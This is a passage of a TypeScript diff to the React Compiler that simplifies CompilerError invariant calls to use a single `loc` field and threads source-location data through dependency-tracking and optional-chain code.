): void {
|
||||
if (state.shouldInvalidateScopes) {
|
||||
state.shouldInvalidateScopes = false;
|
||||
state.program.scope.crawl();
|
||||
}
|
||||
const local = specifier.get('local');
|
||||
const binding = local.scope.getBinding(local.node.name);
|
||||
const defaultCheckFn = importSpecifierChecks.get(DEFAULT_EXPORT);
|
||||
|
||||
CompilerError.invariant(binding != null, {
|
||||
reason: 'Expected binding to be found for import specifier',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: local.node.loc ?? null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
});
|
||||
const filteredReferences = new Map<
|
||||
CheckInvalidReferenceFn,
|
||||
Array<NodePath<t.Node>>
|
||||
>();
|
||||
for (const reference of binding.referencePaths) {
|
||||
if (defaultCheckFn != null) {
|
||||
getOrInsertWith(filteredReferences, defaultCheckFn, () => []).push(
|
||||
reference,
|
||||
);
|
||||
}
|
||||
const parent = reference.parentPath;
|
||||
if (
|
||||
parent != null &&
|
||||
parent.isMemberExpression() &&
|
||||
parent.get('object') === reference
|
||||
) {
|
||||
if (parent.node.computed || parent.node.property.type !== 'Identifier') {
|
||||
continue;
|
||||
}
|
||||
const checkFn = importSpecifierChecks.get(parent.node.property.name);
|
||||
if (checkFn != null) {
|
||||
getOrInsertWith(filteredReferences, checkFn, () => []).push(parent);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (const [checkFn, references] of filteredReferences) {
|
||||
checkFn(references, state);
|
||||
}
|
||||
}
|
||||
function transformProgram(
|
||||
path: NodePath<t.Program>,
|
||||
|
||||
moduleLoadChecks: Map<string, Map<string, CheckInvalidReferenceFn>>,
|
||||
filename: string | null,
|
||||
logger: Logger | null,
|
||||
compileResult: CompileProgramMetadata | null,
|
||||
): void {
|
||||
const traversalState: TraversalState = {
|
||||
shouldInvalidateScopes: true,
|
||||
program: path,
|
||||
filename,
|
||||
logger,
|
||||
transformErrors: compileResult?.retryErrors ?? [],
|
||||
inferredEffectLocations:
|
||||
compileResult?.inferredEffectLocations ?? new Set(),
|
||||
};
|
||||
path.traverse({
|
||||
ImportDeclaration(path: NodePath<t.ImportDeclaration>) {
|
||||
const importSpecifierChecks = moduleLoadChecks.get(
|
||||
path.node.source.value,
|
||||
);
|
||||
if (importSpecifierChecks == null) {
|
||||
return;
|
||||
}
|
||||
const specifiers = path.get('specifiers');
|
||||
for (const specifier of specifiers) {
|
||||
if (specifier.isImportSpecifier()) {
|
||||
validateImportSpecifier(
|
||||
specifier,
|
||||
importSpecifierChecks,
|
||||
traversalState,
|
||||
);
|
||||
} else {
|
||||
validateNamespacedImport(
|
||||
specifier as NodePath<
|
||||
t.ImportNamespaceSpecifier | t.ImportDefaultSpecifier
|
||||
>,
|
||||
importSpecifierChecks,
|
||||
traversalState,
|
||||
);
|
||||
}
|
||||
}
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
function matchCompilerDiagnostic(
|
||||
badReference: NodePath<t.Node>,
|
||||
transformErrors: Array<{fn: NodePath<t.Node>; error: CompilerError}>,
|
||||
): string | null {
|
||||
for (const {fn, error} of transformErrors) {
|
||||
if (fn.isAncestor(badReference)) {
|
||||
return error.toString();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
@@ -46,14 +46,7 @@ export function raiseUnificationErrors(
|
||||
if (errs.length === 0) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Should not have array of zero errors',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc,
|
||||
});
|
||||
} else if (errs.length === 1) {
|
||||
CompilerError.throwInvalidJS({
|
||||
|
||||
@@ -151,15 +151,7 @@ export type LinearId = number & {
|
||||
export function makeLinearId(id: number): LinearId {
|
||||
CompilerError.invariant(id >= 0 && Number.isInteger(id), {
|
||||
reason: 'Expected LinearId id to be a non-negative integer',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return id as LinearId;
|
||||
}
|
||||
@@ -172,15 +164,7 @@ export type TypeParameterId = number & {
|
||||
export function makeTypeParameterId(id: number): TypeParameterId {
|
||||
CompilerError.invariant(id >= 0 && Number.isInteger(id), {
|
||||
reason: 'Expected TypeParameterId to be a non-negative integer',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return id as TypeParameterId;
|
||||
}
|
||||
@@ -202,15 +186,7 @@ export type VariableId = number & {
|
||||
export function makeVariableId(id: number): VariableId {
|
||||
CompilerError.invariant(id >= 0 && Number.isInteger(id), {
|
||||
reason: 'Expected VariableId id to be a non-negative integer',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return id as VariableId;
|
||||
}
|
||||
@@ -417,14 +393,7 @@ function convertFlowType(flowType: FlowType, loc: string): ResolvedType {
|
||||
} else {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unsupported property kind ${prop.kind}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -493,14 +462,7 @@ function convertFlowType(flowType: FlowType, loc: string): ResolvedType {
|
||||
} else {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unsupported property kind ${prop.kind}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -519,14 +481,7 @@ function convertFlowType(flowType: FlowType, loc: string): ResolvedType {
|
||||
} else {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unsupported property kind ${prop.kind}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -539,14 +494,7 @@ function convertFlowType(flowType: FlowType, loc: string): ResolvedType {
|
||||
}
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unsupported class instance type ${flowType.def.type.kind}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
case 'Fun':
|
||||
@@ -605,14 +553,7 @@ function convertFlowType(flowType: FlowType, loc: string): ResolvedType {
|
||||
} else {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unsupported component props type ${propsType.type.kind}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -765,14 +706,7 @@ export class FlowTypeEnv implements ITypeEnv {
|
||||
// TODO: use flow-js only for web environments (e.g. playground)
|
||||
CompilerError.invariant(env.config.flowTypeProvider != null, {
|
||||
reason: 'Expected flowDumpTypes to be defined in environment config',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
let stdout: any;
|
||||
if (source === lastFlowSource) {
|
||||
|
||||
@@ -38,28 +38,14 @@ export function assertConsistentIdentifiers(fn: HIRFunction): void {
|
||||
CompilerError.invariant(instr.lvalue.identifier.name === null, {
|
||||
reason: `Expected all lvalues to be temporaries`,
|
||||
description: `Found named lvalue \`${instr.lvalue.identifier.name}\``,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: instr.lvalue.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: instr.lvalue.loc,
|
||||
});
|
||||
CompilerError.invariant(!assignments.has(instr.lvalue.identifier.id), {
|
||||
reason: `Expected lvalues to be assigned exactly once`,
|
||||
description: `Found duplicate assignment of '${printPlace(
|
||||
instr.lvalue,
|
||||
)}'`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: instr.lvalue.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: instr.lvalue.loc,
|
||||
});
|
||||
assignments.add(instr.lvalue.identifier.id);
|
||||
for (const operand of eachInstructionLValue(instr)) {
|
||||
@@ -89,14 +75,7 @@ function validate(
|
||||
CompilerError.invariant(identifier === previous, {
|
||||
reason: `Duplicate identifier object`,
|
||||
description: `Found duplicate identifier object for id ${identifier.id}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: loc ?? GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: loc ?? GeneratedSource,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@@ -18,14 +18,7 @@ export function assertTerminalSuccessorsExist(fn: HIRFunction): void {
|
||||
description: `Block bb${successor} does not exist for terminal '${printTerminal(
|
||||
block.terminal,
|
||||
)}'`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: (block.terminal as any).loc ?? GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: (block.terminal as any).loc ?? GeneratedSource,
|
||||
});
|
||||
return successor;
|
||||
});
|
||||
@@ -39,26 +32,14 @@ export function assertTerminalPredsExist(fn: HIRFunction): void {
|
||||
CompilerError.invariant(predBlock != null, {
|
||||
reason: 'Expected predecessor block to exist',
|
||||
description: `Block ${block.id} references non-existent ${pred}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
CompilerError.invariant(
|
||||
[...eachTerminalSuccessor(predBlock.terminal)].includes(block.id),
|
||||
{
|
||||
reason: 'Terminal successor does not reference correct predecessor',
|
||||
description: `Block bb${block.id} has bb${predBlock.id} as a predecessor, but bb${predBlock.id}'s successors do not include bb${block.id}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
@@ -131,13 +131,7 @@ export function recursivelyTraverseItems<T, TContext>(
|
||||
CompilerError.invariant(disjoint || nested, {
|
||||
reason: 'Invalid nesting in program blocks or scopes',
|
||||
description: `Items overlap but are not nested: ${maybeParentRange.start}:${maybeParentRange.end}(${currRange.start}:${currRange.end})`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
if (disjoint) {
|
||||
exit(maybeParent, context);
|
||||
|
||||
@@ -57,13 +57,7 @@ function validateMutableRange(
|
||||
{
|
||||
reason: `Invalid mutable range: [${range.start}:${range.end}]`,
|
||||
description: `${printPlace(place)} in ${description}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: place.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: place.loc,
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -234,14 +234,7 @@ function pushEndScopeTerminal(
|
||||
const fallthroughId = context.fallthroughs.get(scope.id);
|
||||
CompilerError.invariant(fallthroughId != null, {
|
||||
reason: 'Expected scope to exist',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
context.rewrites.push({
|
||||
kind: 'EndScope',
|
||||
|
||||
@@ -31,6 +31,7 @@ import {
|
||||
PropertyLiteral,
|
||||
ReactiveScopeDependency,
|
||||
ScopeId,
|
||||
SourceLocation,
|
||||
TInstruction,
|
||||
} from './HIR';
|
||||
|
||||
@@ -123,9 +124,7 @@ export function collectHoistablePropertyLoads(
|
||||
hoistableFromOptionals,
|
||||
registry,
|
||||
nestedFnImmutableContext: null,
|
||||
assumedInvokedFns: fn.env.config.enableTreatFunctionDepsAsConditional
|
||||
? new Set()
|
||||
: getAssumedInvokedFunctions(fn),
|
||||
assumedInvokedFns: getAssumedInvokedFunctions(fn),
|
||||
});
|
||||
}
|
||||
|
||||
@@ -141,9 +140,7 @@ export function collectHoistablePropertyLoadsInInnerFn(
|
||||
hoistableFromOptionals,
|
||||
registry: new PropertyPathRegistry(),
|
||||
nestedFnImmutableContext: null,
|
||||
assumedInvokedFns: fn.env.config.enableTreatFunctionDepsAsConditional
|
||||
? new Set()
|
||||
: getAssumedInvokedFunctions(fn),
|
||||
assumedInvokedFns: getAssumedInvokedFunctions(fn),
|
||||
};
|
||||
const nestedFnImmutableContext = new Set(
|
||||
fn.context
|
||||
@@ -244,6 +241,7 @@ class PropertyPathRegistry {
|
||||
getOrCreateIdentifier(
|
||||
identifier: Identifier,
|
||||
reactive: boolean,
|
||||
loc: SourceLocation,
|
||||
): PropertyPathNode {
|
||||
/**
|
||||
* Reads from a statically scoped variable are always safe in JS,
|
||||
@@ -260,6 +258,7 @@ class PropertyPathRegistry {
|
||||
identifier,
|
||||
reactive,
|
||||
path: [],
|
||||
loc,
|
||||
},
|
||||
hasOptional: false,
|
||||
parent: null,
|
||||
@@ -269,14 +268,7 @@ class PropertyPathRegistry {
|
||||
CompilerError.invariant(reactive === rootNode.fullPath.reactive, {
|
||||
reason:
|
||||
'[HoistablePropertyLoads] Found inconsistencies in `reactive` flag when deduping identifier reads within the same scope',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: identifier.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: identifier.loc,
|
||||
});
|
||||
}
|
||||
return rootNode;
|
||||
@@ -297,6 +289,7 @@ class PropertyPathRegistry {
|
||||
identifier: parent.fullPath.identifier,
|
||||
reactive: parent.fullPath.reactive,
|
||||
path: parent.fullPath.path.concat(entry),
|
||||
loc: entry.loc,
|
||||
},
|
||||
hasOptional: parent.hasOptional || entry.optional,
|
||||
};
|
||||
@@ -311,7 +304,7 @@ class PropertyPathRegistry {
|
||||
* so all subpaths of a PropertyLoad should already exist
|
||||
* (e.g. a.b is added before a.b.c),
|
||||
*/
|
||||
let currNode = this.getOrCreateIdentifier(n.identifier, n.reactive);
|
||||
let currNode = this.getOrCreateIdentifier(n.identifier, n.reactive, n.loc);
|
||||
if (n.path.length === 0) {
|
||||
return currNode;
|
||||
}
|
||||
@@ -330,20 +323,21 @@ class PropertyPathRegistry {
|
||||
}
|
||||
|
||||
function getMaybeNonNullInInstruction(
|
||||
instr: InstructionValue,
|
||||
value: InstructionValue,
|
||||
context: CollectHoistablePropertyLoadsContext,
|
||||
): PropertyPathNode | null {
|
||||
let path: ReactiveScopeDependency | null = null;
|
||||
if (instr.kind === 'PropertyLoad') {
|
||||
path = context.temporaries.get(instr.object.identifier.id) ?? {
|
||||
identifier: instr.object.identifier,
|
||||
reactive: instr.object.reactive,
|
||||
if (value.kind === 'PropertyLoad') {
|
||||
path = context.temporaries.get(value.object.identifier.id) ?? {
|
||||
identifier: value.object.identifier,
|
||||
reactive: value.object.reactive,
|
||||
path: [],
|
||||
loc: value.loc,
|
||||
};
|
||||
} else if (instr.kind === 'Destructure') {
|
||||
path = context.temporaries.get(instr.value.identifier.id) ?? null;
|
||||
} else if (instr.kind === 'ComputedLoad') {
|
||||
path = context.temporaries.get(instr.object.identifier.id) ?? null;
|
||||
} else if (value.kind === 'Destructure') {
|
||||
path = context.temporaries.get(value.value.identifier.id) ?? null;
|
||||
} else if (value.kind === 'ComputedLoad') {
|
||||
path = context.temporaries.get(value.object.identifier.id) ?? null;
|
||||
}
|
||||
return path != null ? context.registry.getOrCreateProperty(path) : null;
|
||||
}
|
||||
@@ -400,7 +394,11 @@ function collectNonNullsInBlocks(
|
||||
) {
|
||||
const identifier = fn.params[0].identifier;
|
||||
knownNonNullIdentifiers.add(
|
||||
context.registry.getOrCreateIdentifier(identifier, true),
|
||||
context.registry.getOrCreateIdentifier(
|
||||
identifier,
|
||||
true,
|
||||
fn.params[0].loc,
|
||||
),
|
||||
);
|
||||
}
|
||||
const nodes = new Map<
|
||||
@@ -475,6 +473,7 @@ function collectNonNullsInBlocks(
|
||||
identifier: dep.root.value.identifier,
|
||||
path: dep.path.slice(0, i),
|
||||
reactive: dep.root.value.reactive,
|
||||
loc: dep.loc,
|
||||
});
|
||||
assumedNonNullObjects.add(depNode);
|
||||
}
|
||||
@@ -531,14 +530,7 @@ function propagateNonNull(
|
||||
if (node == null) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Bad node ${nodeId}, kind: ${direction}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
const neighbors = Array.from(
|
||||
@@ -610,14 +602,7 @@ function propagateNonNull(
|
||||
CompilerError.invariant(i++ < 100, {
|
||||
reason:
|
||||
'[CollectHoistablePropertyLoads] fixed point iteration did not terminate after 100 loops',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
|
||||
changed = false;
|
||||
@@ -649,13 +634,7 @@ export function assertNonNull<T extends NonNullable<U>, U>(
|
||||
CompilerError.invariant(value != null, {
|
||||
reason: 'Unexpected null',
|
||||
description: source != null ? `(from ${source})` : null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return value;
|
||||
}
|
||||
@@ -681,17 +660,23 @@ function reduceMaybeOptionalChains(
|
||||
changed = false;
|
||||
|
||||
for (const original of optionalChainNodes) {
|
||||
let {identifier, path: origPath, reactive} = original.fullPath;
|
||||
let {
|
||||
identifier,
|
||||
path: origPath,
|
||||
reactive,
|
||||
loc: origLoc,
|
||||
} = original.fullPath;
|
||||
let currNode: PropertyPathNode = registry.getOrCreateIdentifier(
|
||||
identifier,
|
||||
reactive,
|
||||
origLoc,
|
||||
);
|
||||
for (let i = 0; i < origPath.length; i++) {
|
||||
const entry = origPath[i];
|
||||
// If the base is known to be non-null, replace with a non-optional load
|
||||
const nextEntry: DependencyPathEntry =
|
||||
entry.optional && nodes.has(currNode)
|
||||
? {property: entry.property, optional: false}
|
||||
? {property: entry.property, optional: false, loc: entry.loc}
|
||||
: entry;
|
||||
currNode = PropertyPathRegistry.getOrCreatePropertyEntry(
|
||||
currNode,
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import {CompilerError} from '..';
|
||||
import {CompilerError, SourceLocation} from '..';
|
||||
import {assertNonNull} from './CollectHoistablePropertyLoads';
|
||||
import {
|
||||
BlockId,
|
||||
@@ -169,6 +169,7 @@ function matchOptionalTestBlock(
|
||||
propertyId: IdentifierId;
|
||||
storeLocalInstr: Instruction;
|
||||
consequentGoto: BlockId;
|
||||
propertyLoadLoc: SourceLocation;
|
||||
} | null {
|
||||
const consequentBlock = assertNonNull(blocks.get(terminal.consequent));
|
||||
if (
|
||||
@@ -186,13 +187,7 @@ function matchOptionalTestBlock(
|
||||
reason:
|
||||
'[OptionalChainDeps] Inconsistent optional chaining property load',
|
||||
description: `Test=${printIdentifier(terminal.test.identifier)} PropertyLoad base=${printIdentifier(propertyLoad.value.object.identifier)}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: propertyLoad.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: propertyLoad.loc,
|
||||
},
|
||||
);
|
||||
|
||||
@@ -200,14 +195,7 @@ function matchOptionalTestBlock(
|
||||
storeLocal.value.identifier.id === propertyLoad.lvalue.identifier.id,
|
||||
{
|
||||
reason: '[OptionalChainDeps] Unexpected storeLocal',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: propertyLoad.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: propertyLoad.loc,
|
||||
},
|
||||
);
|
||||
if (
|
||||
@@ -224,14 +212,7 @@ function matchOptionalTestBlock(
|
||||
alternate.instructions[1].value.kind === 'StoreLocal',
|
||||
{
|
||||
reason: 'Unexpected alternate structure',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
},
|
||||
);
|
||||
|
||||
@@ -241,6 +222,7 @@ function matchOptionalTestBlock(
|
||||
propertyId: propertyLoad.lvalue.identifier.id,
|
||||
storeLocalInstr,
|
||||
consequentGoto: consequentBlock.terminal.block,
|
||||
propertyLoadLoc: propertyLoad.loc,
|
||||
};
|
||||
}
|
||||
return null;
|
||||
@@ -267,14 +249,7 @@ function traverseOptionalBlock(
|
||||
if (maybeTest.terminal.kind === 'branch') {
|
||||
CompilerError.invariant(optional.terminal.optional, {
|
||||
reason: '[OptionalChainDeps] Expect base case to be always optional',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: optional.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: optional.terminal.loc,
|
||||
});
|
||||
/**
|
||||
* Optional base expressions are currently within value blocks which cannot
|
||||
@@ -302,7 +277,11 @@ function traverseOptionalBlock(
|
||||
instrVal.kind === 'PropertyLoad' &&
|
||||
instrVal.object.identifier.id === prevInstr.lvalue.identifier.id
|
||||
) {
|
||||
path.push({property: instrVal.property, optional: false});
|
||||
path.push({
|
||||
property: instrVal.property,
|
||||
optional: false,
|
||||
loc: instrVal.loc,
|
||||
});
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
@@ -312,20 +291,14 @@ function traverseOptionalBlock(
|
||||
maybeTest.instructions.at(-1)!.lvalue.identifier.id,
|
||||
{
|
||||
reason: '[OptionalChainDeps] Unexpected test expression',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: maybeTest.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: maybeTest.terminal.loc,
|
||||
},
|
||||
);
|
||||
baseObject = {
|
||||
identifier: maybeTest.instructions[0].value.place.identifier,
|
||||
reactive: maybeTest.instructions[0].value.place.reactive,
|
||||
path,
|
||||
loc: maybeTest.instructions[0].value.place.loc,
|
||||
};
|
||||
test = maybeTest.terminal;
|
||||
} else if (maybeTest.terminal.kind === 'optional') {
|
||||
@@ -337,16 +310,13 @@ function traverseOptionalBlock(
|
||||
* - a optional base block with a separate nested optional-chain (e.g. a(c?.d)?.d)
|
||||
*/
|
||||
const testBlock = context.blocks.get(maybeTest.terminal.fallthrough)!;
|
||||
if (testBlock!.terminal.kind !== 'branch') {
|
||||
/**
|
||||
* Fallthrough of the inner optional should be a block with no
|
||||
* instructions, terminating with Test($<temporary written to from
|
||||
* StoreLocal>)
|
||||
*/
|
||||
CompilerError.throwTodo({
|
||||
reason: `Unexpected terminal kind \`${testBlock.terminal.kind}\` for optional fallthrough block`,
|
||||
loc: maybeTest.terminal.loc,
|
||||
});
|
||||
/**
|
||||
* Fallthrough of the inner optional should be a block with no
|
||||
* instructions, terminating with Test($<temporary written to from
|
||||
* StoreLocal>)
|
||||
*/
|
||||
if (testBlock.terminal.kind !== 'branch') {
|
||||
return null;
|
||||
}
|
||||
/**
|
||||
* Recurse into inner optional blocks to collect inner optional-chain
|
||||
@@ -408,14 +378,7 @@ function traverseOptionalBlock(
|
||||
reason:
|
||||
'[OptionalChainDeps] Unexpected instructions an inner optional block. ' +
|
||||
'This indicates that the compiler may be incorrectly concatenating two unrelated optional chains',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: optional.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: optional.terminal.loc,
|
||||
});
|
||||
}
|
||||
const matchConsequentResult = matchOptionalTestBlock(test, context.blocks);
|
||||
@@ -428,16 +391,10 @@ function traverseOptionalBlock(
|
||||
{
|
||||
reason: '[OptionalChainDeps] Unexpected optional goto-fallthrough',
|
||||
description: `${matchConsequentResult.consequentGoto} != ${optional.terminal.fallthrough}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: optional.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: optional.terminal.loc,
|
||||
},
|
||||
);
|
||||
const load = {
|
||||
const load: ReactiveScopeDependency = {
|
||||
identifier: baseObject.identifier,
|
||||
reactive: baseObject.reactive,
|
||||
path: [
|
||||
@@ -445,8 +402,10 @@ function traverseOptionalBlock(
|
||||
{
|
||||
property: matchConsequentResult.property,
|
||||
optional: optional.terminal.optional,
|
||||
loc: matchConsequentResult.propertyLoadLoc,
|
||||
},
|
||||
],
|
||||
loc: matchConsequentResult.propertyLoadLoc,
|
||||
};
|
||||
context.processedInstrsInOptional.add(matchConsequentResult.storeLocalInstr);
|
||||
context.processedInstrsInOptional.add(test);
|
||||
|
||||
@@ -5,7 +5,12 @@
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import {BlockId, HIRFunction, computePostDominatorTree} from '.';
|
||||
import {
|
||||
BlockId,
|
||||
GeneratedSource,
|
||||
HIRFunction,
|
||||
computePostDominatorTree,
|
||||
} from '.';
|
||||
import {CompilerError} from '..';
|
||||
|
||||
export function computeUnconditionalBlocks(fn: HIRFunction): Set<BlockId> {
|
||||
@@ -24,15 +29,7 @@ export function computeUnconditionalBlocks(fn: HIRFunction): Set<BlockId> {
|
||||
CompilerError.invariant(!unconditionalBlocks.has(current), {
|
||||
reason:
|
||||
'Internal error: non-terminating loop in ComputeUnconditionalBlocks',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
unconditionalBlocks.add(current);
|
||||
current = dominators.get(current);
|
||||
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
Identifier,
|
||||
PropertyLiteral,
|
||||
ReactiveScopeDependency,
|
||||
SourceLocation,
|
||||
} from '../HIR';
|
||||
import {printIdentifier} from '../HIR/PrintHIR';
|
||||
|
||||
@@ -36,12 +37,13 @@ export class ReactiveScopeDependencyTreeHIR {
|
||||
* duplicates when traversing the CFG.
|
||||
*/
|
||||
constructor(hoistableObjects: Iterable<ReactiveScopeDependency>) {
|
||||
for (const {path, identifier, reactive} of hoistableObjects) {
|
||||
for (const {path, identifier, reactive, loc} of hoistableObjects) {
|
||||
let currNode = ReactiveScopeDependencyTreeHIR.#getOrCreateRoot(
|
||||
identifier,
|
||||
reactive,
|
||||
this.#hoistableObjects,
|
||||
path.length > 0 && path[0].optional ? 'Optional' : 'NonNull',
|
||||
loc,
|
||||
);
|
||||
|
||||
for (let i = 0; i < path.length; i++) {
|
||||
@@ -54,14 +56,7 @@ export class ReactiveScopeDependencyTreeHIR {
|
||||
prevAccessType == null || prevAccessType === accessType,
|
||||
{
|
||||
reason: 'Conflicting access types',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
},
|
||||
);
|
||||
let nextNode = currNode.properties.get(path[i].property);
|
||||
@@ -69,6 +64,7 @@ export class ReactiveScopeDependencyTreeHIR {
|
||||
nextNode = {
|
||||
properties: new Map(),
|
||||
accessType,
|
||||
loc: path[i].loc,
|
||||
};
|
||||
currNode.properties.set(path[i].property, nextNode);
|
||||
}
|
||||
@@ -82,6 +78,7 @@ export class ReactiveScopeDependencyTreeHIR {
|
||||
reactive: boolean,
|
||||
roots: Map<Identifier, TreeNode<T> & {reactive: boolean}>,
|
||||
defaultAccessType: T,
|
||||
loc: SourceLocation,
|
||||
): TreeNode<T> {
|
||||
// roots can always be accessed unconditionally in JS
|
||||
let rootNode = roots.get(identifier);
|
||||
@@ -91,19 +88,14 @@ export class ReactiveScopeDependencyTreeHIR {
|
||||
properties: new Map(),
|
||||
reactive,
|
||||
accessType: defaultAccessType,
|
||||
loc,
|
||||
};
|
||||
roots.set(identifier, rootNode);
|
||||
} else {
|
||||
CompilerError.invariant(reactive === rootNode.reactive, {
|
||||
reason: '[DeriveMinimalDependenciesHIR] Conflicting reactive root flag',
|
||||
description: `Identifier ${printIdentifier(identifier)}`,
|
